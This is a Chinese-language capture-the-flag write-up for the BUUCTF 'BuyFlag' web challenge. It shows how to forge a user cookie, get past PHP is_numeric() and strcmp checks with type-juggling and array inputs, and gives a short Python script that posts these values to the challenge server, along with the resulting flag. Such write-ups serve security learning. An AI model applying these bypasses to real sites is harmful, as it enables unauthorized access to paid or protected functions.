【BUUCTF】web 之 [极客大挑战 2019]BuyFlag

简单分析

打开链接 随便翻翻 发现菜单中的 PAYFLAG 进去康康。
很明显 ,得到flag 需要 钱 & cuiter & password

具体操作:

抓包分析: 发现cookie
【BUUCTF】web 之 [极客大挑战 2019]BuyFlag_第1张图片user=0; 0可能说明否认,所以改成1重发得到

you are Cuiter
Please input your password!! 

接下来觉得密码问题 贴点网页源代码
404 但是不能是数字

```bash
~~~post money and password~~~
if (isset($_POST['password'])) {
     
	$password = $_POST['password'];
	if (is_numeric($password)) {
     
		echo "password can't be number
"
; }elseif ($password == 404) { echo "Password Right!
"
; } }

可以看到绕过is_numeric()函数即可 ,绕过方式很多。例如:数字后面加个字符就ok了。

you are Cuiter
Password Right!
Pay for the flag!!!hacker!!!

最后一步 简单的post money=100000000
显示如下

Nember lenth is too long

需要这些钱 但是长度还不能达到。自然有字符比较的函数
想到 strcmp函数
strcmp函数用于比较俩个字符串 如果相等 return 0
百度了知道 这漏洞只存在5.3之前版本的php。
利用方法 在变量后面加[] 变成数组的形式即可。

解题方法

1.burp suite 抓包 修改 发包
2.浏览器插件 post 和 修改cookie
3.python脚本(太菜了 自己暂时也就能写写简单的。)

#coding:utf-8
import requests

url='http://6f7a5bb8-e792-4c02-988e-b7921803cd3a.node3.buuoj.cn/pay.php'
headers={
     'cookie':'user=1'}
data={
     'password':'404]','money[]':'1'}
r = requests.post(url=url,headers=headers,data=data)
print(r.text)

flag:you are Cuiter
Password Right!
flag{2c2f5fd0-d7bc-4199-9ff1-5ec17cdc54ff}

你可能感兴趣的:(ctf,buuctf,python,web)